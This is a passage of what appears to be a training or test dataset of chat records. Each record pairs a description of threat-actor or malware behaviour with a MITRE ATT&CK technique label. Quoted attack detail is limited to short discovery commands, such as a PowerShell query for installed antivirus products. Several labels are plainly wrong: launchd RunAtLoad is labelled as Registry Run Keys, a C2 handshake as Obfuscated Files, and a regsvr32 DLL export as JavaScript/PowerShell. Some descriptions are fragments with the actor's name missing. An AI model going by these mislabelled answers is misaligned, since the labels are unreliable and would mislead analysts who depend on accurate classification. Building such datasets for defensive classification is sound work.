                "content": "The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1140 - Deobfuscate/Decode Files or Information', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used VBScript files to execute its POWERSTATS payload, as well as macros."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen code signing certificates used to sign malware"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has checked for the presence of antivirus software with \"powershell Get-CimInstance -Namespace root/securityCenter2 – classname antivirusproduct\"."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has registered fraudulent domains such as \"mail-newyorker.com\" and \"news12.com.recover-session-service.site\" to target specific victims with phishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SslMM has a hard-coded primary and backup C2 string."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldFinder performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to delete a specified file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can write its configuration file to \"Software\\Classes\\scConfig\" in either \"HKEY_LOCAL_MACHINE\" or \"HKEY_CURRENT_USER\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan can find the external IP address of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed:  Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).  Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network.  Employing Python scripts to exploit vulnerable servers.  Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux® servers in the victim network."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1059.006 - Command and Scripting Interpreter: Python', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.008 - Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT has encrypted its payload with RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Backdoor.Oldrea samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses fake Transport Layer Security (TLS) to communicate with its C2 server, encoding data with RC4 encryption."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been used to execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has exploited Adobe Flash vulnerability CVE-2018-4878 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can download additional plug-ins to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has used the AirVPN service for operational activity."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has gained execution through victims clicking on malicious LNK files contained within ISO files, which can execute hidden DLLs within the ISO."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The AppleSeed payload has an export function named “DllRegisterServer” which will be called when the DLL is executed using RegSvr32.exe. DllRegisterServer has a function that is responsible for performing the DLL initialization and setup that includes the following steps"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloader’s process termination starts with killing the DDG Monero miner botnet client if present on the system, followed by a variety of other cryptominers, including other XMRig instances. This behavior is indicative of attempting to secure more host resources from competing miners. The malware also targets services belonging to Qihoo 360, an antivirus service, in order to reduce the chance of detection. However, taskkill is unable to to kill process related to Qihoo 360. Figure 5 shows the processes that the script attempts to terminate."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can encrypt and encode its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The program CrashReporter.exe is heavily obfuscated with the ADVObfuscation library, renamed “snowman” (Obfuscated Files or Information [T1027]). When run, it checks for the Maintain parameter and collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR key before exfiltration, and sends the encrypted information to a C2 website (Exfiltration Over C2 Channel [T1041]). The program also creates a scheduled SYSTEM task, named JMTCrashReporter, which runs CrashReporter.exe with the Maintain parameter at any user’s login (Scheduled Task/Job: Scheduled Task [T1053.005"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has exploited CVE-2007-5633 vulnerability in the speedfan.sys driver to obtain kernel mode privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda adds persistence by creating Registry Run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax retrieved a list of the system's network interface after execution."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkVishnya created new services for shellcode loaders distribution."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "code(2343)\", MsgBoxStyle.Critical, null);     The dropper then writes the content of the payload which resides as plaintext in a resource within the .NET assembly to C:\\Users\\<username>\\AppData\\Local\\Temp\\SystemDiskClean.ps1"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has used search order hijacking to run the loader Vcrodat."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the emergence of the Log4j security vulnerability, we’ve already seen multiple threat actors, mostly financially motivated, immediately add it to their exploitation arsenal. It comes as no surprise that some nation-sponsored actors also saw this new vulnerability as an opportunity to strike before potential targets have identified and patched the affected systems"
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used \"cmd.exe\" to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can send data it retrieves to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used malicious HTA files to drop and execute malware."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of Attor's plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used a reconnaissance module to identify active processes and other associated loaded modules."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has used \"openssl\" to decrypt AES encrypted payload data. Bundlore has also used base64 and RC4 with a hardcoded key to deobfuscate data."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 added Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used PowerShell to download and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JHUHUGIT variant encodes C2 POST data base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter uses srvsvc.NetShareEnumAll MSRPC function to enumerate and SMB to connect to all discovered shares, including ADMIN$, C$, SYSVOL, and NETLOGON."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has downloaded source code from code repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE may collect information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET has dropped a malicious applet into an app's `.../Contents/MacOS/` folder of a previously launched app to bypass Gatekeeper's security checks on first launch apps (prior to macOS 13)."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors exploited Adobe Flash vulnerability CVE-2011-0611, Microsoft Windows Help vulnerability CVE-2010-1885, and several Internet Explorer vulnerabilities, including CVE-2011-1255, CVE-2012-1889, and CVE-2014-0322."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Helminth VBScript receives a batch script to execute a set of commands in a command prompt."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent a C2 response that was base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has used Mimikatz to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's backdoor has used cmd.exe to execute arbitrary commands as well as batch scripts to update itself to a newer version."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file names may vary from one version of the malware to another"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can search for other machines connected to compromised host and attempt to map the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Responses from the Pisloader C2 server are base32-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has the capability to stop antivirus services and disable Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "esentutl can be used to copy files to/from a remote share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk can use “WNetOpenEnumW” and “WNetEnumResourceW” to enumerate files in network resources for encryption."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get-Process | select Company Checks to see if any running processes have “Wireshark” or “Sysinternals” as the company name"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has the capability to download a VNC module from command and control (C2)."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used WMI to deploy their tools on remote machines and to gather information about the Outlook process."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recall that when the malicious code is executed, it invokes the extract_ei function on its own binary image, to check if the file is infected. If so, it opens itself, and reads the trailer to get the offset of where the file’s original bytes are located. It then writes these bytes out to a new file named: .&lt;orginalfilename&gt;1. This file is then set executable (via chmod) and executed (via execl"
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropper used by  installs itself into the ASEP Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with a value named McUpdate."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FireEye’s blog, “Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims with SUNBURST Backdoor,” contains a wealth of useful information, all of which has been analyzed by Unit 42 researchers to help ensure Palo Alto Networks customers are protected."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Putty and VNC for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware."
            },
            {
